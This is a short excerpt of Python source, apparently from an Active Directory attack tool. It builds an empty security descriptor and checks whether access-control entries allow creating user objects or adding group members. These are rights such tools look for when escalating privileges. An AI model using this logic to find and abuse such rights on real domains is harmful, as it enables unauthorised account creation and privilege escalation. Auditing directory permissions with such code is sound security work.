772 sd['GroupSid'] = b''
773 sd['Sacl'] = b''
774 acl = ldaptypes.ACL()
775 acl['AclRevision'] = 4
776 acl['Sbz1'] = 0
777 acl['Sbz2'] = 0
778 acl.aces = []
779 sd['Dacl'] = acl
780 return sd
782# Check if an ACE allows for creation of users
783def can_create_users(ace):
784 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
785 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
786 return False
787 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'
788 return createprivs and userprivs
790# Check if an ACE allows for adding members
791def can_add_member(ace):
792 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)
793 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
794 return writeprivs
795 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'
796 return writeprivs and userprivs